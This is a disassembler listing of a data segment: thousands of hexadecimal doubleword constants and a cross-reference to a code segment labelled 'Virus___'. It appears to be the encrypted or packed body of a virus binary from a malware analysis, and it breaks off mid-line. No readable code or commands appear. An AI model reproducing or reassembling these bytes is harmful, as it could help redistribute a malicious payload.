0D5768EA4h, 0BE4591C3h, 587828C5h, 1EC8EF34h, 22488DA4h dd 991413E5h, 27CA403Bh, 0A82094AFh, 0BF70885Dh, 0BF07C514h dd 1242D694h, 6D082DC6h, 46608Ch, 222C0000h, 0BA0807D4h dd 0C047258Dh, 8FB76A8Fh, 0CDC10519h, 0A3F109D2h, 0AF152EF8h dd 0A9668C94h, 0BF19D3E6h, 0BCD6C494h, 12A09FB0h, 0C70D4515h dd 8C6CF22Ch, 0D972FA94h, 0FB244C66h, 0F9ABA197h, 35FE027h dd 33000001h, 2DE2373Fh, 251AC733h, 110EC32Bh, 9002D71Fh dd 64DB00F6h, 50CF00ECh, 8F682A42h, 8DA36628h, 0A28582A8h dd 0A3621F7Bh, 235AA28Dh, 0AFED05D4h, 0F99459A5h, 1EDE716h dd 5052CDE5h, 336FBA41h, 0AC9BB3AEh, 0E63BC38Dh, 71028B4h dd 839B459Ch, 282FC984h, 1609D027h, 823A74BCh, 0A01B2866h dd 6B510A88h, 8E94AF3Ah, 63A47984h, 3F01A2C8h, 3CE7B538h dd 9BC38F55h, 8E291244h, 128DA9DFh, 0B41C2F18h, 599964Bh dd 55A5AFEDh, 0DFAE09F2h, 38328DA9h, 9740B2E0h, 8DA9E040h dd 2BFC08C0h, 8186DEF4h, 11CA2EA6h, 72FBECE5h, 7706195Eh dd 1D30h, 0C566BB45h, 9C2FE20Bh, 56F526D4h, 0E380599Eh dd 0BF4C9169h, 29D19C83h, 529D57F4h, 9564ECBFh, 0C531BB48h dd 0BB9D7310h, 0C1ACF5C0h, 0CDE17594h, 45E63B3Fh, 1DC03953h dd 73C22A2Ah, 0A3662D88h, 44934C8Dh, 0C48DA366h, 0C9E10DAEh dd 0C047143Ah, 72B46F2Dh, 9194AE6Ah, 8561742Fh, 0C5E194BEh dd 4CC3EB42h, 0BE853685h, 0D9732194h, 6E44FB2Eh, 0AAA9E9B9h dd 8A2D1678h, 0E94BE84h, 84983FE4h, 121894BEh, 86F10A15h dd 0B3BC8C6Dh, 9E000000h, 0B0E2373Fh, 0E862BC24h, 36F1C2BBh dd 0AC71897Bh, 0B8C8D073h, 73FB8DA3h, 0BB430DDEh, 48CFA966h dd 8E0CF7A5h, 4C94AE92h, 6AA57684h, 91630058h, 53851796h dd 201FC239h, 8ACA9592h, 2D9BC336h, 36B500FBh, 39358DAAh dd 65373F0Eh, 31D20FEBh, 5A9E43B7h, 5E72A47Fh, 41D8938Ch dd 5600001Ch, 1CD477ACh, 0E56F3CD1h, 0AF39CA17h, 7AF29148h dd 708E5DFEh, 0C516E2ADh, 8C45AE26h, 598475FFh, 0E13AC28Ah dd 0F3ACEE42h, 94C1ADE4h, 0E7DAD664h, 3D9843B5h, 0BD8DA366h dd 664B6AB1h, 752E8DA3h, 8DA36662h, 72FCCE6h, 37E81000h dd 0FF10DC94h, 373F022Ch, 61EB2DE2h, 0FBCB4499h, 0E738C44Ch dd 9066BF44h, 0DB841697h, 94AE69FDh, 0FDA0717Dh, 341752h dd 0CFCD60E7h, 43B99A14h, 80121850h, 7DAA7F86h, 0AC41C6B6h dd 9EAA35EEh, 42E513Ch, 0DF70FC96h, 67B8440Ch, 0E40A9253h dd 0CDAC63A2h, 1B9Ch, 7112C731h, 8DB0EF7h, 0C261BA40h dd 9F2CED0Ah, 2BF825D5h, 0BDBD0817h, 0FE09C360h, 29D0982Bh dd 519D57F4h, 1701EFBCh, 0C1AE892Ch, 69850994h, 0B740373Fh dd 83D54A62h, 72AD7089h, 0DBDB1820h, 0FA7800C1h, 31BCBB4Dh dd 616EB863h, 264C94AEh, 0FD1EDA74h, 94B77042h, 0C34492EFh dd 17DE682Ah, 0FD0DBAC2h, 225CA4D7h, 0EEC8B3E5h, 6C9BC9BEh dd 0C342D956h, 429AC21Ch, 9B4CE8D3h, 888FD454h, 0C2CCB7E5h dd 305C5F75h, 81BE6398h, 521A152Dh, 817A58D5h, 55585B3Eh dd 701AB8B2h, 7609F184h, 23D558Eh, 1CB98B0h, 0D91420F5h dd 2A96C83Eh, 1AE602F5h, 71FB0000h, 0B4410BD8h, 0EC0AC261h dd 27D49C2Fh, 5B9F29FAh, 52DDE586h, 9D2EF307h, 52F128D3h dd 0E1825F9Ah, 0B94A9F67h, 3F96414Bh, 0C394C1AFh, 373F3F33h dd 0A966BB40h, 0F9DC8715h, 798DA365h, 0B2DA556Dh, 0F61AE62Ah dd 4FF8B6C0h, 6133BABDh, 0AF2188B6h, 83204A94h, 0C740B4FAh dd 2D8B7426h, 0AD9BCA62h, 49B500FBh, 39358DA4h, 0D2BB3E1h dd 57E495FDh, 0C9BC69DEh, 193B8FC0h, 494BE265h, 56C2206Eh dd 0A7989231h, 0F9DB52D5h, 61A6BF1Eh, 993B3330h, 3FD21D37h dd 0FB75B200h, 290ECE73h, 0D1A8D7DEh, 22BAEAB9h, 1CCD8923h dd 0DF51D664h, 41B6C217h, 0B2C1D148h, 1A2A9A5Dh, 0B5BF0000h dd 0F805CF9Ch, 28CE8625h, 639850F3h, 9763EDBEh, 9699B94Ah dd 51F22FCBh, 16B56C97h, 0A5469B5Eh, 7D0EC32Bh, 0FBDA8597h dd 7F94C1AFh, 373FC3EFh, 6396B0E2h, 0FA2D81BEh, 33BABD3Fh dd 0E7153F61h, 7EA9053Ah, 0AE4355A7h, 73FB5594h, 58E586DEh dd 84292E16h, 9A8DCE16h, 62756457h, 2E8873A5h, 4D9BC98Eh dd 0A788FB71h, 0A8D09E1Ah, 37E9172h, 0B38ABD8Eh, 0E63EE319h dd 3E9942B4h, 238DA376h, 0A3765D78h, 22D1DD8Dh, 762E8972h dd 0B8B28DA3h, 86F6A760h, 764C6B54h, 0A6CC8DA3h, 0E181BE61h dd 3334BA64h, 53AEF18h, 580391A9h, 91F0EC56h, 13CC2CA4h dd 0B16E861Ch, 0ECD740C7h, 87FCEBC9h, 50A75D49h, 78237189h dd 8F07D565h, 51FBD9D5h, 19D370A5h, 5FC38EDh, 0F66136B9h dd 19465E19h, 915B0000h, 0D421AB78h, 0CEA6201h, 47B43CCFh dd 0FB7FC99Ah, 0B27D8526h, 3DCE13E7h, 0F29148B3h, 8122FF7Ah dd 59EA3FC7h, 0DFF6A1EBh, 6394C1B0h, 0DFE7DFD3h, 0A65315F9h dd 0B057337Bh, 54A09097h, 6BEC8C83h, 59E7D0C2h, 0D994AF07h dd 38853ECDh, 0D6C469EEh, 0CA0BCBEDh, 57A4AE9Bh, 0E39958Ah dd 0EB65373Fh, 4052CD0Ch, 44DD9838h, 30F73FF9h, 845AA09Bh dd 16111FDBh, 545A0597h, 0A628764Dh, 8CAA0DF6h, 42E2276h dd 0BEB933ECh, 2BB26D2Fh, 0AF298176h, 0F37B1587h, 3BC38D5Eh dd 5A39D2E6h, 55CACAB1h, 189FA2h, 11CA3400h, 0DE73FA72h dd 64B5430Dh, 33EE0DC7h, 0FF20D890h, 400B122Ch, 0CC467B8h dd 0D39D2EE3h, 0A028FB26h, 0CE08354h, 0B186510Ah, 780A94C1h dd 0E2373F74h, 0B46D96B0h, 4B0B3B7Bh, 0E56FEDDBh, 0DD9F5ACDh dd 9FC1D35Ah, 0A36C11A4h, 0DF95918Dh, 7549C61Bh, 0EA19AB2h dd 0E294A928h, 0B440CAC8h, 0E59C063h, 0D394C1A7h, 52FCDE53h dd 96B176ABh, 0B962D406h, 94C1A81Eh, 348388A2h, 0B494C1A8h dd 7F8789BEh, 303719AAh, 17C71FBDh, 0E0A78775h, 0FE820E7h dd 9BC7D6A0h, 16785A50h, 0E25DFE7Ch, 10DD57D0h, 5FA62EFDh dd 0A1CC088Ah, 217C0FEDh, 0A075807Ah, 4CB8A867h, 0C5B85F9Bh dd 0CA455E78h, 17DB23h, 0CD06F000h, 9A4FB63Eh, 20F97FC9h dd 0EF32C983h, 0BB64945Ch, 7C47D6E8h, 0C88023FCh, 8F59EA3Fh dd 5C14B76Ah, 40AC7F90h, 0B24A6D56h, 3CCE94C1h, 2DC04730h dd 2219B46Fh, 0CDD994A9h, 64B945CFh, 7CF175C7h, 18C5345Eh dd 40988F27h, 0C1AA5497h, 0C9A93594h, 170FD5B3h, 70B87A9Bh dd 2E667248h, 0EB244EF9h, 5EF15A1h, 44EE8EFBh, 0ACBA00C3h dd 77A394C1h, 633AF51Fh, 40758C6Ah, 59000000h, 682ABF47h dd 0E7C9F96Ch, 34F320B3h, 1EA83BE4h, 0B8108DA4h, 9A59A4Fh dd 44973EF1h, 578DA41Fh, 0AE4993C3h, 0E19387F0h, 13h, 664C6ED5h dd 888F8DA3h, 56CCB7E5h, 8494AE5Dh, 0E7B5DD6Eh, 0BEE816Dh dd 2D4559D6h, 0CD2AA0F2h, 0E6611B0Ch, 7C6A5547h, 0FE94AE43h dd 8D02D58Eh, 6C8694BEh, 9D69DB54h, 0C531BB48h, 0D5251F10h dd 79808A08h, 0EC5B6BA4h, 9DF53921h, 0A6459E66h, 8F0DC62Eh dd 68A77A85h, 14D125Ah, 7AB47C57h, 0F17606CDh, 0BAEC5E7Ch dd 0BEAAF6C1h, 0B7707A94h, 0C9B25EECh, 0C4D6DC9Bh, 379569F8h dd 34F39DB3h, 7E935B15h, 0E2DA1EC1h, 0FF3335D0h, 0B0388497h dd 0AAD968Fh dd 8E05D9F4h, 0DF2A5C64h, 6C4B3466h, 0EC05DA60h, 27CF41C6h dd 2F14A0F2h, 0B0A0B5CAh, 5A4AED5Ah, 2B36C182h, 34F304F3h dd 201F303Ch, 4BB4CB30h, 0ED059996h, 0A0AA1832h, 3B8B8459h dd 3FFA5A0Ch, 8741E237h, 8375AA7Fh, 0F0ABE984h, 0CE4A922h dd 0EFB15258h, 45904BBDh, 0C50CD0A9h, 0A95362A9h, 0DFD70CD0h dd 0B11CE868h, 0D0A8EFC6h, 337B730Ch, 0B308DCA2h, 5ED1E9BEh dd 94BE1DE6h, 2F87B865h, 0D0BCD1E4h, 2D55510Ch, 44602776h dd 0F72840D3h, 0B46FA76Bh, 0A332ED48h, 270CD0E3h, 9C54F70Fh dd 0E880BF50h, 6D9E5C6Fh, 0B567377Bh, 0ADD5ED7Ch, 4FD556C9h dd 61334BFBh, 51CE13E7h, 0A992CA7Dh, 13DBBE03h, 0B43CCFE7h dd 0F9989748h, 15D9C1E2h, 0A45FB75Bh, 6CE48758h, 65DF508Dh dd 11D74895h, 0BA021141h, 0C92FB885h, 469B6361h, 6ADDF5C9h dd 84700FEAh, 7A674E29h, 0C3EBF5D9h, 78F093ABh, 0B079FE81h dd 9A824D56h, 0AAC21A63h, 0B7D2ECE8h, 45904BDEh, 0DE1D17C2h dd 0EB379E79h, 11BBF5D9h, 0C61E36EBh, 0C50DC149h, 62BFBCD6h dd 934EABA5h, 50A6A0F0h, 539C948Bh, 0AFA166BEh, 0D098974Ah dd 5BA2AC57h, 0EB3A9D86h, 0B4BEF5D9h, 2DE2373Eh, 0E95B7991h dd 0EAF9DC87h, 6D79F5D9h, 0C7FDEBBAh, 717DFCE4h, 962E9CBEh dd 0C6D39EC9h, 92C6EC32h, 17C29DD2h, 3E9648FFh, 0E6D17683h dd 0FCD154CFh, 0E4135B53h, 0C829F27Eh, 0E8B84B63h, 0DAFADD86h dd 747EFCD0h, 60B541B3h, 9449B5AFh, 33EC0C06h, 0D78B39F4h dd 0C5B8447Fh, 3ECDE538h, 5B318CA7h, 2D0324h, 3FF70000h dd 4028E73Ah, 27426C7h, 0A3657E59h, 3FE8028Dh, 639832EDh dd 585294AEh, 25B88Bh, 8C480000h, 9A078FD9h, 9F5A1040h dd 3FEDC542h, 4028E73Ah, 0F2A236C7h, 501B98F2h, 3A19A38h dd 0F794AF51h, 0C022CFFh, 37E067AFh, 0A366694Ch, 0A5FDE98Dh dd 429F5DF7h, 0E636F1CDh, 0AE699B3Dh, 85171F94h, 0A8E7D039h dd 0F8628A5Fh, 0A677B082h, 7209D8FFh, 8F1E19C8h, 4BB1DB0Dh dd 0C0CE9196h, 328856C7h, 86B9529Ah, 511B142Ch, 9A4557D6h dd 8961F143h, 731DBFB7h, 0D506F48Bh, 9330485Ah, 0BCF82DD9h dd 6AD0DD63h, 39FC7F90h, 4E000014h, 14DC6FA4h, 0DD9734E9h dd 0A721C21Fh, 72FA8950h, 88B65586h, 0FD1EDAA5h, 845DA62Eh dd 518C6DE7h, 19323AB2h, 0CBB4E64Ah, 94C1B5ECh, 6ED2DE6Ch dd 8DA36547h, 0A19A8D8Ah, 8DA36716h, 5A78909Ah, 0AE6E2B61h dd 35678F94h, 0AA13DE1Bh, 0A67B8218h, 462D5569h, 9B28403Ch dd 3AF528D1h, 588D7812h, 0D858CFE7h, 6CBFFB2Ch, 99575DD9h dd 13C6F786h, 11DB0000h, 54A12BF8h, 8C6AE281h, 0C734BC4Fh dd 7BFF491Ah, 32FD05A6h, 0BD4E9367h, 7211C833h, 1A27FFAh dd 0D96ABF47h, 5F76216Bh, 0E394C1B6h, 0C0475F53h, 7DB2678Fh dd 818B0921h, 576FA075h, 0CDDFB8D0h, 2D94AE6Ch, 958A57A3h dd 65B44339h, 37C54F4Dh, 61EB3DEAh, 2AA24194h, 308C0EC3h dd 0AE43E195h, 7423E467h, 60DF70FCh, 0DB167E2Ah, 7C2CFF12h dd 0D59DCF60h, 8970D4D8h, 0B3CBDB54h, 8977CF74h, 1438198Ch dd 58FB34E9h, 94BEA382h, 3F184ABAh, 94BEA298h, 45151218h dd 0FA2FD60Dh, 83569F29h, 34C24C8Ch, 6035DFE7h, 1592D9BDh dd 50DD5A12h, 69169942h, 909A9BC4h, 2EF30802h, 0D9FCA7F1h dd 598DA868h, 0DAF2354Dh, 0F09344B0h, 795B8C78h, 68892C17h dd 0C8308DA8h, 0E98A1817h, 2BFE07FDh, 0A269DEF4h, 0F2A04DCAh dd 863456EAh, 0C344978Ch, 83F52789h, 0A943FDD8h, 0AA717D8Dh dd 8DA9440Bh, 4D7E6704h, 0F6859E49h, 9A984BFCh, 8194AE3Ah dd 0FD097E87h, 87DFF728h, 3A0D3A88h, 16306230h, 0AE043BE0h dd 0DA0FF779h, 0C0B7BF09h, 9529E63Bh, 2D2AC27Dh, 0A6A01280h dd 3D918E53h, 0B0CD5B0Ah, 9ACC9BC9h, 0C1684F28h, 0C2E88DA3h dd 0A3C07E59h, 3FE8028Dh, 61D2E60Ch, 925E791Bh, 1262FA7Dh dd 8D770000h, 303DB754h, 70864E1Dh, 0AB5018ABh, 0DF1BD576h dd 0CE516102h, 19AA7783h, 0DE6DA44Fh, 6D3EE316h, 25C61BE3h dd 0C312CDCFh, 4794C1B7h, 506EBBB7h, 238DA366h, 691ED329h dd 81453368h, 18AA65BDh, 9D4252Fh, 428D8A7Ah, 4F4D65B6h dd 9C635677h, 1A7EC972h, 4B92DA95h, 8AC2451Bh, 0A9FC6BD1h dd 55476F94h, 4F1C3D3Bh, 0B2152E23h, 0E56F9308h, 7E54CB16h dd 17068C9h, 474A0000h, 0E7132FC2h, 0A3659E3Ch, 0CE2008Dh dd 0BD02619h, 0DFAEFE3h, 0FD152DE0h, 23B26DDFh, 0A78DA385h dd 0E7FF678Fh, 3A977CAFh, 0CBE7A50Dh, 932B3A61h, 37BFF82Fh dd 0E6B07783h, 102CC147h, 0BE47132Fh, 14DF692Bh, 28F107FDh dd 4E68DFF7h dword_57047C dd 52E5664h, 889488B2h, 5Bh, 8F6DE76Ah, 0C0BBDD52h, 8DA365F5h ; DATA XREF: Virus___:005596C3o dd 0E6217975h, 3CE71216h, 8DA36599h, 0C0E50D19h, 77FBEA24h dd 0E7419DB5h, 0BD5C9BB5h, 6601DB8Ah, 0EE988DA3h, 0E255D207h dd 3B32ADD8h, 0C41CF8E6h, 826DE7A8h, 45C2D04Fh, 393FDF13h dd 0DFE7CCE0h, 7D3529ADh, 490E3960h, 1B466Dh, 47280000h dd 0E7102CC1h, 0A3659E3Ch, 0DEF2008Dh, 508D6DE7h, 3F2D85D7h dd 70CCE039h, 0B2052E22h, 4E889488h, 14000000h, 1159F27Ah dd 0F4F8D1EEh, 5B77B06Ah, 172BBE47h, 5D9BB5E7h, 0F43383BCh dd 0A3658F2Dh, 6ED2EA8Dh, 89CB7E73h, 792B0205h, 0A3B6379Eh dd 39B3BB8Dh, 8D211EC3h, 0E89F2775h, 2A2EB641h, 0E711B96Eh dd 0E3363FCBh, 462270CFh, 44h, 2BBE4728h, 9BB5E717h, 4A82BD5Ch dd 0A3664691h, 88A0CA8Dh, 65F6C49Fh, 5A688DA3h, 8A2D1678h dd 378DA365h, 515D1EC3h, 0CBE7F8D6h, 0F8F3363Fh, 0E1F5A6D9h dd 1830ED0Dh, 0FDF6C1BAh, 707A8DA3h, 22700458h, 0FFFE8046h dd 0C04728FFh, 15E56F2Dh, 520D5FC8h, 94A9217Bh, 2B25777Fh dd 828C0EC3h, 0DB62A576h, 19BC67C9h, 9994C1AAh, 64E29A8Dh dd 6EF806Dh, 2E84BBD3h, 6D8A8416h, 76217BACh, 94C1AA5Fh dd 8D54CBE3h, 94C1AA28h, 61ABEB3Fh, 8C6A65C6h, 36C9h, 4B6EAD00h dd 0F68DA366h, 0EF36D50Eh, 8DA365CDh, 30620B0Ch, 0A9E103A4h dd 8CC24FD8h, 513C447Eh, 40988F0Dh, 5788741Eh, 0BA1B31D0h dd 0D7DF94AEh, 0DCC534h, 47AD0000h, 4C003DC0h, 167BD6AAh dd 0E9E3DCFEh, 4194AE51h, 1CDD7725h, 4FAA22C1h, 0CF9FE582h dd 0B6CE7210h, 0F578FF79h, 580375A7h, 94BEEA7Dh, 6F36F1FDh dd 9BC4A628h, 993CE749h, 0F88DA925h, 0A925B81Fh, 8132388Dh dd 638BA265h, 3FE21731h, 0B8E7419Dh, 1D25F801h, 8EB9253Dh dd 73D425AFh, 0A8FF2D88h, 0BA67948Dh, 9AC97F9h, 898DA8FFh dd 0F22D459Dh, 2270FD7Ah, 2D58EF0h, 868DA8FFh, 26C7446Ch dd 4BB24F2Dh, 6DEE05DCh, 420A94AEh, 2A426AB7h, 0D1647AB7h dd 3C56449Ch, 844C1F30h, 0AC93A778h, 59575E28h, 0F4637C6h dd 915B0000h, 0D421AB78h, 0CEA6201h, 47B43CCFh, 0FB7FC99Ah dd 0B27D8526h, 3DCE13E7h, 0F29148B3h, 8122FF7Ah, 59EA3FC7h dd 0DFF6A1EBh, 6394C1BAh, 373FDFD3h, 0D3EB2DE2h, 9C80501Ah dd 252F1874h, 0FC9604D9h, 0A964A37Ch, 34EF27FBh, 538517C8h dd 0A44F4D68h, 66A1CD8Dh, 0C0E31CC7h, 5CAA9387h, 0F2000000h dd 52655E80h, 0D68DA447h, 476077DCh, 0CAE08DA4h, 0C047755Dh dd 0FAB46F2Dh, 0F894AE47h, 0C31B3DF2h, 485E5C50h, 29128097h dd 94BF408Eh, 252F1812h, 0ED6704D9h, 9953CC01h, 5B8D0F9Eh dd 1B14C931h, 7C59C8Bh, 639BCA17h, 0ECE8B84Bh, 0DE7F9D71h dd 0DDEC14BFh, 0FB3F0BE4h, 3F2E88BFh, 8840E336h, 2577A87Dh dd 65AD08F3h, 12D8DA3h, 66835F06h, 2BCE8DA3h, 5C74A954h dd 33BABD8Fh, 2685B661h, 5D4994A9h, 0B56A677Fh, 46A98A70h dd 7FFD97C1h, 0F59F01A2h, 4F67D805h, 152EFED8h, 6F9308B2h dd 12C815E5h, 0A7FF30E9h, 17BDF60h, 0E7B30000h, 0D6518C6Dh dd 469E2326h, 63389633h, 0E74498B0h, 0A3659E3Ch, 0A853FD8Dh dd 0A59EBE71h, 8DA36612h, 0C3449C96h, 0E7025E74h, 0BD5C9BB5h dd 0C84F2082h, 0C259255h, 616733F4h, 0D6212B3Ah, 6B8356A1h dd 97641EB4h, 47F5DD4Ah, 2F102CC1h, 2BBE4713h, 0C217DF69h dd 28646D45h, 0D02D71Eh, 0E75876B1h, 0DF508D6Dh, 602C7AD7h dd 7A927A56h, 0EE8952CDh, 5C049487h, 88000000h, 2A5A7D26h dd 435590A4h, 0FC06AF91h, 0A955FFBCh, 0D3EBBB74h, 0C1477A54h dd 6DE7102Ch, 1DF25D80h, 0D6CD1AFCh, 0FA2D81BEh, 72E3F9A2h dd 4F678DA3h, 95201B4Dh, 2C8DA372h, 3B6D0EC3h, 0A3737540h dd 0A1F9F58Dh, 0CBE74866h, 0CCE0393Fh, 0C5325C70h, 9C8B1B14h dd 234632h, 47280000h, 0E7102CC1h, 0A3659E3Ch, 0DEF2008Dh dd 393FCBE7h, 6198B2E0h, 65BA1DC6h, 343E8DA3h, 708F2B1Ch dd 0B2052E22h, 32889488h, 6A000000h, 528F6DE7h, 0B646C1DDh dd 0E7E63AAFh, 0D5528F6Dh, 6602D883h, 72788DA3h, 3FCBE75Eh dd 70CFE336h, 0CAB5E722h, 8DA365EBh, 29C0476Fh, 3Ch, 2BBE47B9h dd 9E3CE717h, 8DA365h, 5F77A850h, 85500B7Dh, 58DA365h dd 0E7903EE9h, 0BD5C9BB5h, 0B5E72C8Ah, 0A365EBCAh, 0C0476F8Dh dd 5C70A550h, 0EBCAB5E7h, 6F8DA365h, 0B31FC047h, 4C816DE7h dd 0B544C3D3h, 0FFFFFE72h, 2DC0473Dh, 2219B46Fh, 0CDD994A9h dd 7FEEF7CFh, 562F9AB4h, 618D87D1h, 0FE31EA0Eh, 0DC0E8CA4h dd 1C29B00h, 2CF79DFBh, 94C1E189h, 0E1A80FE8h, 22894C1h dd 0F821D771h, 0AE09F2A0h, 3294C1E1h, 0DC2C0F38h, 1CC7D55Ah dd 94C1E1B9h, 8C45AED8h, 35040393h, 0BCD60639h, 11AD62BFh dd 0E2664F16h, 2AD394C1h, 0E203D28Dh, 6F8794C1h, 9368D857h dd 7F13D14Eh, 0FA2E7E17h, 2DB54E9Ah, 26F88C6Ah, 0DA000000h dd 0A3664B6Eh, 770EF68Dh, 0B6E65980h, 0A365EACDh, 2C446E8Dh dd 99257714h, 81834917h, 3FCE79BBh, 9Eh, 2DC047B3h, 47B2B46Fh dd 5D194AEh, 61F7BD3h, 0F04BFCFFh, 0C778AD58h, 4BC5D7EFh dd 5225D1AEh, 0EAB877A4h, 29415DD2h, 0C114E16Bh, 68B3744Eh dd 4BC419E0h, 9507A6A1h, 63DC7DFBh, 0DB84D453h, 9BC49CE8h dd 8EB81A10h, 5B15B66Bh, 2CCC439Eh, 2710822Bh, 94AE65CCh dd 0FA94062Ch, 420AD972h, 0F45561BAh, 1575DF9h, 0BA66F0Eh dd 313B0000h, 74814B18h, 0AC4A02A1h, 0E714DC6Fh, 1BDF693Ah dd 121D25C6h, 0DD6EB347h, 9231E813h, 21C21FDAh, 0F98A5FA7h dd 7F56010Bh, 394C1BEh, 373F7F73h, 0B124B0E2h, 95B53FB6h dd 1048D6FDh, 0CC35D0E8h, 58A49C5Bh, 4D48887h, 34E915CCh dd 6233CC97h, 677A9388h, 5C000000h, 6F2DC047h, 0DD4BA13Dh dd 20F4AA57h, 0F9E23CE7h, 0DAD094AEh, 6C03EB65h, 0D2D04F80h dd 9B6B7B41h, 0EB035B3Ah, 0A3649058h, 184A179Ch, 59029064h dd 94BF577Eh, 0C2D0E802h, 0BD6ABF48h, 6C0106F6h, 3BE0FC2Eh dd 0F62BD386h, 0A5BFEBCEh, 0DDA5A362h, 93059BC9h, 0A41A0DA8h dd 201B8D8Dh, 8DA41995h, 0A9C11915h, 363FF41Ah, 6F97B1E3h dd 0FE2985BAh, 65FAC45Fh, 0B8418DA3h, 0F176C665h, 0CF655E7Ch dd 2B94A926h, 0FD2F9103h, 0C1A8B302h, 30E90E94h, 1E14A7FFh dd 0A8F4C3BCh, 7E7494C1h, 68B147C9h, 152EB7DBh, 989308B2h dd 16Fh, 55C2477Ah, 0A3664B6Ah, 8FA7CF8Dh, 8CDFE773h, 12CD1A3Eh dd 0A60840C7h, 0E92C8B74h, 86AC8DA3h, 0E8FCDE81h, 50628DA3h dd 0E7CBE73Ch, 93DDF1DFh, 0A4420DA8h, 59618D8Dh, 7FD0601h dd 2CE225FCh, 0D38CFEEFh, 8DA41604h, 3DE1750Fh, 9C5F69A3h dd 47399196h, 566E2CC1h, 8B96B706h, 0B402056Dh, 0FAECDFE7h dd 0EE7EAEFAh, 470B2739h, 64172BBEh, 0B2052E56h, 46889488h dd 6A000000h, 0D3CC147h, 0B1D7DB66h, 0E763BFD7h, 0A3659E3Ch dd 0FA161C8Dh, 0B5E7CBE7h, 0A365EBCAh, 423D6F8Dh, 8DA36673h dd 60A7FFF7h, 0C3D10AF0h, 4F1B9FFBh, 7A25425Fh, 8DA3DD5Bh dd 88BFD7DFh, 4622702Eh, 36h, 8E6DE728h, 41C6DC53h, 9D46B1B7h dd 8DA3663Ah, 409CB4BEh, 659E3CE7h, 0F2008DA3h, 0F3DFE7DEh dd 78F4E3FBh, 0C2C8EFC8h, 22488DA3h, 0E7CB1D0Ah, 0CCE0393Fh dd 52E2270h, 889488B2h, 3Dh, 2BBE476Ah, 9E3CE717h dd 0FD8DA365h, 0E5A7B9E1h, 0CC7B503Fh, 9B23717Dh, 10E3DDF3h dd 7159CEDCh, 5D9BB5E7h, 0F43383BCh, 0E3363FDAh, 462270CFh dd 35h, 1C313C56h, 0C2459E66h, 51BE47F4h, 0A3664F66h, 83DBD38Dh dd 43B5E76Fh, 0A3663D98h, 76B1BD8Dh, 0A3660DAFh, 217D918Dh dd 363FCBE7h, 5C70CFE3h, 1314C532h, 0FE884687h, 4728FFFFh dd 0B46F2DC0h, 94A92219h, 45CFCDD9h, 75C764B9h, 0BB1ADEF1h dd 0C1A9F5C0h, 21797594h, 1EBCD4EEh, 0C1A99225h, 0BE1C1694h dd 7AB56694h, 9130FF28h, 94C1AA44h, 5D87CF5Bh, 8C6A65A2h dd 2AEDh, 924DBF00h, 94C1B243h, 5E78AFC7h, 584EDFE7h, 3DB8554h dd 0E47E5D04h, 3BC38DA3h, 395345E6h, 8E241BCEh, 0BAEE99h dd 0E7C00000h, 0DF508D6Dh, 0AFA840C7h, 75A39C3Eh, 9494AE6Bh dd 68DF7CFAh, 4DC7D5D1h, 1AD271ACh, 6B0D02DFh, 0E15341ECh dd 4B499067h, 0BE844590h, 7EA9C594h, 0C43FF8A7h, 0A0F2F89Bh dd 0C8E53A6h, 6750F702h, 8DA8C050h, 8582DAD0h, 12CF2AA2h dd 0F3DC5B1Dh, 1DBFD70Ah, 0AE80CF22h, 0B440CA94h, 1116AC63h dd 5C8E0C26h, 5E14C532h, 0F7CF4099h, 9934C030h, 0BE7F17BEh dd 7B939B94h, 3D420A8h, 5E5D5CF7h, 8776A957h, 83Ch, 0D172A751h dd 683BEE17h, 22C11AE0h, 0FF8C4DAAh, 8B588575h, 1DDDA877h dd 5EA923C0h, 8970F88Bh, 313DB754h, 0B7E14F1Ch, 0C1C1E9CCh dd 0C9E56994h, 2DE2373Fh, 47B4CB33h, 65A037E0h, 0A208DA3h dd 0A765DAF2h, 9C68A3F3h, 621B84Bh, 899388A6h, 68h, 0C0DFE76Dh dd 0F3C22EF2h, 0ECD3F4D2h, 4F4791C4h, 242720D8h, 51CF14D9h dd 0C917CDD5h, 0C247EB1h, 2DEBD58Eh, 65EF94AFh, 0F02F479Ah dd 964BAED8h, 43020599h, 94BF2A78h, 37E83DC9h, 201F323Dh dd 3B409098h, 47EA8DBCh, 1929414Ch, 0E41FC50Dh, 0AB8C6D58h dd 6Bh, 1D48FF1h, 8194BEA7h, 37E831C7h, 0F6C0479Fh, 2B8C6DE7h dd 0A3666570h, 0B1C9E58Dh, 0EC818676h, 658BF5AEh, 962E94AEh dd 70C8C1E0h, 40FB2C5Ch, 23506750h, 0DAD094BFh, 0C14B8D82h dd 3123E439h, 217310C5h, 22B104FFh, 353194BFh, 21FA02F2h dd 8423D973h, 0BF22FCDBh, 5E767C94h, 0CD4A22E9h, 8F897220h dd 539BCA28h, 0C66885Bh, 0B249C3B3h, 0B0E2B06Fh, 0A365F0C7h dd 0CD7A708Dh, 0E3B13C3Bh, 65EFC6B1h, 0A9928DA3h, 8DA3660Eh dd 0D3DB9892h, 7D5B0454h, 1C94AE6Ah, 81E6F1AAh, 406A94BEh dd 0DF7E74C7h, 0CB16E36Dh, 3BD1855Ch, 0D354D4ACh, 0BC607720h dd 68E05510h, 1A324A9Fh, 9DD1DFB8h, 9EC05C1Bh, 19DA12A5h dd 353E964Eh, 7B93231Ch, 2BD37DCCh, 4D6539F6h, 901D1AD2h dd 0C2865902h, 0E00A5524h, 3FC640B2h, 3F3B35EAh, 0D35DCAE2h dd 49E9E62Bh, 1523DDF3h, 44B5DFFDh, 0C58FAE99h, 8BD0E439h dd 78970B84h, 682D4A7h, 0ED170000h, 10DD9734h, 50A62EFDh dd 8B70F88Bh, 3F3BB556h, 0EE3141E2h, 0F98A57A3h, 0BE4D846Fh dd 4D1EC336h, 5A67B83h, 0A332ED2Fh, 2794C1C3h, 373F9B97h dd 0A966BB40h, 0D242FD15h, 4454F724h, 3BEC2DCAh, 815DC641h dd 0CB531C87h, 7540CB29h, 0F58DA3BAh, 0D99FCDE9h, 5C74337Ah dd 0F2249604h, 0A403AE09h, 7F28328Dh, 5D41251Eh, 23E2257Dh dd 94A9357Ch, 5CBB419Dh, 37857727h, 0D61BBA65h, 979F94C1h dd 0F8D9990h, 0E827FA05h, 0B11192DAh, 0A637289Bh, 0BCBAAA61h dd 3B0C5B9Fh, 26F9575Bh, 5DF57h, 0D10AF400h, 9EB3BA32h dd 24F503CDh, 0F32ECD87h, 0BF609850h, 4BD2ECh, 0CC8427F8h dd 935DEE23h, 60E8BB66h, 4CA04394h, 0C446914Ah, 38CA94C1h dd 2DC04734h, 0F1F576Fh, 8B834B8Fh, 30934C9Ch, 0A894A9B5h dd 0C14B8D82h, 842EE134h, 